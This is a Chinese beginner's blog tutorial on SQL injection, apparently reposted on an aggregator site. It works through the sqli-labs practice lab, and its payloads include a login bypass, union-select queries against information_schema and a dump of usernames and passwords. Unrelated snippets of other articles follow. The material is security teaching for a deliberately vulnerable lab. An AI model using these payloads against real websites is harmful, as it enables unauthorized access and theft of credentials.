【网安小白成长之路】8.sql注入操作

news2025/1/18 7:18:37

🐮博主syst1m 带你 acquire knowledge!

✨博客首页——syst1m的博客💘

🔞 《网安小白成长之路(我要变成大佬😎!!)》真实小白学习历程,手把手带你一起从入门到入狱🚭

😘《CTF专栏》超级详细的解析,宝宝级教学让你从蹒跚学步到健步如飞🙈

😎《大数据专栏》大数据从0到秃头👽,从分析到决策,无所不能❕

🔥 《python面向对象(人狗大战)》突破百万的阅读量,上过各种各样的官方大型专栏,python面向对象必学之一!🐽
😋《性格荷官在线送书活动》不定期会存在有送书活动哦,大部分肯定是网安内容的书籍啦宝子们!💘

🎉希望本文能够给读者带来帮助,更好地理解这个问题或解决你的困惑🐾

文章目录

前言

学习SQL注入至关重要,它不仅是网络安全领域的关键一环,更是提升技术能力的有效途径。掌握SQL注入技术,可增强对数据库安全的防范意识,为数据安全保驾护航,为职业发展增添竞争力。

sql注入操作

一、什么是sql注入

​ SQL注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在应用程序中预先定义好的查询语句的结尾上添加额外的SQL代码,来欺骗后台数据库服务器执行非授权的任意查询,从而获取或篡改数据。其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

​ SQL注入的原理主要基于Web应用程序对用户输入的数据没有进行充分的验证和过滤。当应用程序使用用户提供的输入来构造SQL查询语句时,如果输入未经正确处理,攻击者可以插入恶意的SQL代码。这些恶意代码会被数据库误认为是正常的SQL查询部分,从而执行非预期的数据库操作。

具体来说,SQL注入攻击通常发生在以下几种情况下:

  1. 用户输入的数据未经过严格的验证和过滤,直接被拼接到SQL查询语句中。
  2. 应用程序存在SQL注入漏洞,攻击者可以通过输入特定的恶意代码来利用这些漏洞。
  3. 数据库没有实施足够的安全措施,如限制数据库用户的权限,或者使用参数化查询等。

1.sql注入简单演示

在之前的文章中我们编辑了一个简单的php登陆页面,我们就拿它来演示

' or'1'='1

我们在密码框中输入这个即可直接登陆
在这里插入图片描述
在这里插入图片描述

2.sql注入注意事项

  • 确定web攻击对象的程序设计语言
  • 查找注入点,表单、http、cookics或者后端的Ajax请求…
  • 查找出可以用于注入的输入方式

3.sql注入方法

  • 手动找到注入点,手动构造输入
  • 利用工具SQLMap进行注入

4.sql注入的危害

  • 数据泄露、篡改、丢失,盗取用户敏感信息从而获取利益
  • 通过执行大量的数据库查询或故意造成数据库锁定,导致系统资源耗尽,使服务不可用
  • 通过修改数据更改网页中的内容
  • 攻击者可以利用SQL注入来提升他们的权限,甚至可能获取数据库管理员的权限,控制整个数据库系统
  • 恶意用户可以利用SQL命令删除数据库中的重要数据,造成数据丢失和业务中断

二、sql注入实战操作

1.MySQL注入知识点

1-1.MySQL数据库元信息

information-schema数据库

  • tables表
    • table-name 表的名字
    • table-schema 表所属数据库的名字
  • columns表
    • column-name 表的名字
    • table-name 字段所属表名
    • table-schema 字段所属表所属数据库名字
1-2.MySQL数据库的常用查询
  • select user() 查看当前MySQL登录用户名
  • select database() 查看当前MySQL数据库名
  • select version() 查看当权MySQL版本
  • select @@version 查看当权MySQL版本
  • select @@basedir 查看MySQL路径
  • select length() 字符串长度
  • select substring() 截取字符串
  • select ord 返回ASCII码
  • select concat() 连接字符串
  • select sleep(4) 睡眠指定描述
  • group_concat() 查询结果放到同一行
  • limit m,n 冲m行开始,到m+n行
  • mid() 需要截取的字符串
1-3.MySQL注释
  • – 空格(%20)
  • /* */

#和–空格 表示后面的语句不被执行,如果是get请求,url中的#是用来指导浏览器动作的,对服务器无效,而–空格在传输中会被忽略,所以在get请求中使用 --+,+会被解释成空格

/* */ 内联注释,只有MySQL可以识别,常用来绕过WAF

2.sql-labs靶场实战

2-1.判断sql语句类型

我们进入Less-1

Please input the ID as parameter with numeric value

输入ID正确的值

我们可以通过 单引号 ’ 查看回显信息,是字符型还是数值型

我们在 url中 Less-1/后面输入 ?id=2’ (这里的数字随意)

在这里插入图片描述

如果返回错误的话就能判断这是一个数值型

将单引号删除看看

在这里插入图片描述

就成功了

2-2.基于get报错的注入

利用 order by 判断字段数

依旧是Less-1,我们已经知道了输入单引号 ’ 会报错,是数值型,我们可以在后面输入 order by 来判断字段数

locallhost/sqli-labs/Less-1/?id=1' order by 3 --+

输入上面的看看字段数是否是3

在这里插入图片描述

我们在往上加点看看4会有什么

在这里插入图片描述

到这里我们已经知道了这个数据表字段数有3个

现在我可以试试使用 union 查询

localhost/sqli-labs/Less-1/?id=0' union select 1,2,3 --+

这里我们需要使用一个数据表里面不存在的ID才可以

在这里插入图片描述

输入之后他会告诉你,name的字段是2,密码的字段是3

现在我们可以利用 union 联合查询和MySQL函数来查询些东西了

localhost/sqli-labs/Less-1/?id=0' union select 1,user(),database() --+

在这里插入图片描述

可以看到用户名和数据库了

上面我们讲了数据库的元信息,可以利用 group_concat() 来查看数据库的信息

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

选择在1,2,3中的2输出 table_name table_name 来自 information_schema中的tables 条件 table_schema=database()
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

在这里插入图片描述

根据名字知道users是用户表,我们继续使用元信息查看它的字段名

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述

不知道为什么我的数据库里面有好几个名字为 uses 的表

现在我们知道了他的字段名,就可以查看它的具体信息了

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat("用户",username,"密码",password),3 from users --+

在这里插入图片描述

2-3.基于post报错的注入

这里我们使用Less-11

我们知道了用户名和密码直接登陆会显示

在这里插入图片描述

假如我们不知道,来试试万能密码

我们在后面加上 反斜杠 \ 在MySQL中 ’ 会被转义 所以下面就会显示错误出现在123123那里

在这里插入图片描述

我们在username中输入 admin’ or 1=1 --空格 会直接登陆

在这里插入图片描述

我们再去Less-12看看

在后面加上 反斜杠 \ 查看回显

在这里插入图片描述

可以看到它的闭合信息是 ") 所以我们输入的万能密码 ’ 要改成 ")

在这里插入图片描述

三、总结

今天的这期内容主要是介绍sql注入和sql注入的一些实操,内容偏多,主要是围绕sql-labs靶场进行学习,在post的注入中万能密码不也全是单引号,我们需要学会使用反斜杠看看闭合信息进行更改,如果你还有什么问题的话,记得私信我哦!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1622740.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于ssm微信小程序的4S店客户管理系统

采用技术 基于ssm微信小程序的4S店客户管理系统的设计与实现~ 开发语言:Java 数据库:MySQL 技术:SpringMVCMyBatis 工具:IDEA/Ecilpse、Navicat、Maven 页面展示效果 管理员端 管理员登录 管理员首页 用户管理 门店管理 …

Java技术学习|消息队列|初级RabbitMQ

学习材料声明 黑马RabbitMQ快速入门教程,快速掌握rabbitmq、springAMQP消息中间件 是非常初级的学习,听说后续的高级课程会涉及到微服务之类的,所以等学完微服务再回来学。还有redis的高级部分也涉及了微服务,所以也都暂时停止学…

Pick-a-Pic:An open dataset of user preferences for text-to-image generation

1.introduction 1.创建了一个 数据集,每个示例包括一个提示,两个生成的图像以及一个指向首选图像的标签,或者在没有一个图像明显优于另一个时标记为平局。由真实用户创建,包括50w个示例。 2.利用真实用户偏好,训练一个评分函数,使用人类偏好数据和类似于instructGPT奖励…

我花了2元,15分钟,零基础入门了Llama3的微调。

Llama3在最新测评上已经可以接近闭源的GPT4,我们很快就可以拥有属于自己的“GPT4”了!于是,我昨天第一时间体验了Llama3的微调,成本不高,大概花了2元。 为了方便大家体验微调,我把需要的系统环境打包成了社…

递归、搜索与回溯算法:综合练习

例题一 解法: 算法思路: ⾸先,我们在第⼀⾏放置第⼀个皇后,然后遍历棋盘的第⼆⾏,在可⾏的位置放置第⼆个皇后,然后再遍历第三⾏,在可⾏的位置放置第三个皇后,以此类推&#xff0c…

鸿蒙OpenHarmony【集成三方SDK】 (基于Hi3861开发板)

OpenHarmony致力于打造一套更加开放完善的IoT生态系统,为此OpenHarmony规划了一组目录,用于将各厂商的SDK集成到OpenHarmony中。本文档基于Hi3861开发板,向平台开发者介绍将SDK集成到OpenHarmony的方法。 规划目录结构 三方SDK通常由静态库…

2024年4月最新注册香港苹果账号(Apple ID)并解决支付的教程

大陆的Apple ID仅仅能下载国内的一些APP,其实海外也有非常之多好用又好玩的APP需要大家来挖掘!发现这些海外优质APP就得需要一个海外苹果账号。这就是我今天为什么要写这篇文章的初衷! 注册香港Apple ID教程 1、首先到http://appleid.apple.com里注册一个国内的Ap…

ROS2 命令行工具---常用命令整理

本文主要介绍 ROS2 机器人操作系统的一些常用命令行工具及其使用方法,使用这些命令可以使机器人编程和调试变得更加简便。 在实际应用过程中,我们会经常用到命令行操作来辅助调试,更进一步的可以使用GUI工具辅助调试。 一、创建工作空间 跟…

数据结构——第7章 查找

1 线性表的查找 数据元素和顺序表的定义 typedef struct{KeyType key;InfoType otherinfo; }ElemType; typedef struct{ElemType *R;int length; }SSTable; 1.1 顺序查找 int Search_Seq(SSTable ST,KeyType key){ST.R[0].keykey;for(int iST.length;ST.R[i].key!key;i--);…

SQLAlchemy的使用

SQLAlchemy中filter函数的使用 https://blog.csdn.net/m0_67093160/article/details/133318889 创建临时字段 select id , CONCAT(‘内容’) AS fullname from example_table; Pandas数据类型转换_pandas转换数据类型 https://blog.csdn.net/qq_41404557/article/details/125…

用wps自带工具给图片做标注

在wps中,选中wps中的图片,右键选择【编辑】进入图片编辑器,在选项卡面板右侧选择【标注】工具,再选择【添加文本】工具,即可直接在图片上输入文字,标注完成后选择【覆盖原图】就完成标注任务。

【3200字干货】2024跨境电商5大市场:选品风向深度剖析

以下是针对马来西亚、新加坡、泰国、菲律宾和台湾这5个东南亚跨境电商市场的选品市场分析: 一、马来西亚 市场特点:马来西亚是东南亚第三大经济体,拥有年轻的消费群体和对跨境购物的偏好。网购消费力强,易上手爆单,跨…

tableau基础学习——添加标靶图、甘特图、瀑布图

标靶图 添加参考线 添加参考分布 甘特图 创建新的字段 如设置延迟天数****计划交货日期-实际交货日期 为正代表提前交货,负则代表延迟交货 步骤:创建——计算新字段 把延迟天数放在颜色、大小里面就可以 瀑布图 两个表按照地区连接 先做个条形图&…

Python构建学生信息管理系统:网站路由补充和首次运行

在之前的内容中,我们已经完成了学生信息管理系统(Student Information Management System, SIMS)的需求分析、环境搭建、数据库创建、项目结构的初始化,以及运行。正常做下来的朋友,会发现项目运行后输入http://127.0.…

vscode在json文件中添加注释

1.在设置中输入关联文件,点击添加项; 2.

ClickHouse 24.3 版本发布说明

本文字数:10774;估计阅读时间:27 分钟 审校:庄晓东(魏庄) 本文在公众号【ClickHouseInc】首发 北半球迎来春天,也是 ClickHouse 发布新版本的时候了。 发布概要 本次ClickHouse 24.3版本包含了1…

Android 系统充电动画

效果 Android获取电池充电状态是否为快充可参考. Android_source/frameworks/base/packages/SystemUI/src/com/android/systemui/statusbar/phone/StatusBar.java private int lastBatteryStatus;private final BroadcastReceiver mBatteryChangedReceiver new BroadcastRece…

ComfyUI学习旅程

一、模型文件(Checkpoint) 首先它很大,这些文件是你从huggingface或者civitai下载而来的, 所以这些大文件如 .ckpt 或 .safetensors ,实际上包含了什么内容呢? 它包含了包含了三种不同模型的权重&#x…

【STM32F4】STM32CUMX相关环境配置

一、环境配置 我们需要以下两个软件 (一)keil5 最正统,最经典的嵌入式MCU开发环境。 该环境的配置可以看看之前的文章 所需文件如下: 当时配置的是STC8H的环境,现在基于此,重新给STM32配置环境。能让STC…

docker的默认路径存储不足

docker的默认路径存储不足 添加磁盘 [rootlocalhost ~]# fdisk -l磁盘 /dev/sda:42.9 GB, 42949672960 字节,83886080 个扇区 Units 扇区 of 1 * 512 512 bytes 扇区大小(逻辑/物理):512 字节 / 512 字节 I/O 大小(最小/最佳)&#xff1a…